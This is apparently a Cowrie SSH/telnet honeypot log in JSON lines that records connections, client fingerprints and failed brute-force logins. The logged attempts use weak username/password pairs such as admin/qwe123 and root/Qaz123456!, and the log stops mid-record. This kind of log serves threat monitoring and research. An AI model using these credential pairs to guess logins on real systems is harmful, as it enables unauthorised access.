{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42710,"dst_ip":"159.203.135.109","dst_port":22,"session":"16530ba33cef","protocol":"ssh","message":"New connection: 159.203.92.129:42710 (159.203.135.109:22) [session: 16530ba33cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:42.174829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:42.181521Z","src_ip":"159.203.92.129","session":"16530ba33cef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:42.188262Z","src_ip":"159.203.92.129","session":"16530ba33cef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwe123","message":"login attempt [admin/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:42.200341Z","src_ip":"159.203.92.129","session":"16530ba33cef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:43.207394Z","src_ip":"159.203.92.129","session":"16530ba33cef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":38136,"dst_ip":"159.203.135.109","dst_port":23,"session":"753f7c17ceec","protocol":"telnet","message":"New connection: 46.4.8.162:38136 (159.203.135.109:23) [session: 753f7c17ceec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:44.921672Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":38144,"dst_ip":"159.203.135.109","dst_port":23,"session":"a38dad8b300d","protocol":"telnet","message":"New connection: 46.4.8.162:38144 (159.203.135.109:23) [session: a38dad8b300d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:45.014159Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":38150,"dst_ip":"159.203.135.109","dst_port":23,"session":"86a94ae04339","protocol":"telnet","message":"New connection: 46.4.8.162:38150 (159.203.135.109:23) [session: 86a94ae04339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:45.734461Z"}
{"eventid":"cowrie.session.closed","duration":34.10130023956299,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:46.970702Z","src_ip":"46.4.8.162","session":"6840b600d501","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":38154,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2be4789ae10","protocol":"telnet","message":"New connection: 46.4.8.162:38154 (159.203.135.109:23) [session: d2be4789ae10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:48.770807Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":38170,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f29f733b90f","protocol":"telnet","message":"New connection: 46.4.8.162:38170 (159.203.135.109:23) [session: 3f29f733b90f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:50.305842Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":38178,"dst_ip":"159.203.135.109","dst_port":23,"session":"f712a0e92071","protocol":"telnet","message":"New connection: 46.4.8.162:38178 (159.203.135.109:23) [session: f712a0e92071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:52.167034Z"}
{"eventid":"cowrie.session.closed","duration":30.636626720428467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:53.356519Z","src_ip":"46.4.8.162","session":"9dbac24d664a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":39856,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bd4800afee0","protocol":"telnet","message":"New connection: 46.4.8.162:39856 (159.203.135.109:23) [session: 8bd4800afee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:55.129202Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":39860,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c3f6df90db7","protocol":"telnet","message":"New connection: 46.4.8.162:39860 (159.203.135.109:23) [session: 4c3f6df90db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:31:55.921408Z"}
{"eventid":"cowrie.session.closed","duration":30.862030267715454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:15.783570Z","src_ip":"46.4.8.162","session":"753f7c17ceec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.11965537071228,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:18.854008Z","src_ip":"46.4.8.162","session":"86a94ae04339","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":36150,"dst_ip":"159.203.135.109","dst_port":22,"session":"56544095ca56","protocol":"ssh","message":"New connection: 185.239.84.249:36150 (159.203.135.109:22) [session: 56544095ca56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:19.264263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:19.268925Z","src_ip":"185.239.84.249","session":"56544095ca56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:19.478828Z","src_ip":"185.239.84.249","session":"56544095ca56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz123456!","message":"login attempt [root/Qaz123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:20.113195Z","src_ip":"185.239.84.249","session":"56544095ca56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.02200150489807,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:21.036029Z","src_ip":"46.4.8.162","session":"a38dad8b300d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:21.326197Z","src_ip":"185.239.84.249","session":"56544095ca56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.88740634918213,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:21.658113Z","src_ip":"46.4.8.162","session":"d2be4789ae10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.59911918640137,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:23.904824Z","src_ip":"46.4.8.162","session":"3f29f733b90f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.97184658050537,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:25.138682Z","src_ip":"46.4.8.162","session":"f712a0e92071","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57622,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf078ba44f8b","protocol":"ssh","message":"New connection: 159.203.92.129:57622 (159.203.135.109:22) [session: cf078ba44f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:25.312361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:25.317433Z","src_ip":"159.203.92.129","session":"cf078ba44f8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:25.323234Z","src_ip":"159.203.92.129","session":"cf078ba44f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwe123jun,.","message":"login attempt [admin/qwe123jun,.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:25.377148Z","src_ip":"159.203.92.129","session":"cf078ba44f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:26.447339Z","src_ip":"159.203.92.129","session":"cf078ba44f8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.154.234.9","src_port":27798,"dst_ip":"10.17.0.5","dst_port":22,"session":"09f9453d6f55","protocol":"ssh","message":"New connection: 212.154.234.9:27798 (10.17.0.5:22) [session: 09f9453d6f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:28.873514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:28.879283Z","src_ip":"212.154.234.9","session":"09f9453d6f55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:29.057004Z","src_ip":"212.154.234.9","session":"09f9453d6f55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qwer1234!@#$","message":"login attempt [ubuntu/Qwer1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:29.799851Z","src_ip":"212.154.234.9","session":"09f9453d6f55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:30.979534Z","src_ip":"212.154.234.9","session":"09f9453d6f55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.23094892501831,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:33.360029Z","src_ip":"46.4.8.162","session":"8bd4800afee0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.61427569389343,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:33.535589Z","src_ip":"46.4.8.162","session":"4c3f6df90db7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":52326,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a1013e66808","protocol":"telnet","message":"New connection: 188.166.220.49:52326 (159.203.135.109:23) [session: 1a1013e66808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:33.592537Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":57764,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee016d7b80fa","protocol":"telnet","message":"New connection: 46.4.8.162:57764 (159.203.135.109:23) [session: ee016d7b80fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:32:52.035984Z"}
{"eventid":"cowrie.session.closed","duration":34.33892250061035,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:07.931359Z","src_ip":"188.166.220.49","session":"1a1013e66808","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":41996,"dst_ip":"159.203.135.109","dst_port":23,"session":"af1329bdbde7","protocol":"telnet","message":"New connection: 46.4.8.162:41996 (159.203.135.109:23) [session: af1329bdbde7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:09.802611Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35428,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bf7db40418c","protocol":"ssh","message":"New connection: 159.203.92.129:35428 (159.203.135.109:22) [session: 1bf7db40418c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:10.350802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:10.355883Z","src_ip":"159.203.92.129","session":"1bf7db40418c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:10.360411Z","src_ip":"159.203.92.129","session":"1bf7db40418c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qweRTY123$%^","message":"login attempt [admin/qweRTY123$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:10.373160Z","src_ip":"159.203.92.129","session":"1bf7db40418c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:11.379856Z","src_ip":"159.203.92.129","session":"1bf7db40418c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":59210,"dst_ip":"159.203.135.109","dst_port":22,"session":"e590e42eb040","protocol":"ssh","message":"New connection: 185.239.84.249:59210 (159.203.135.109:22) [session: e590e42eb040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:19.244627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:19.249264Z","src_ip":"185.239.84.249","session":"e590e42eb040","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 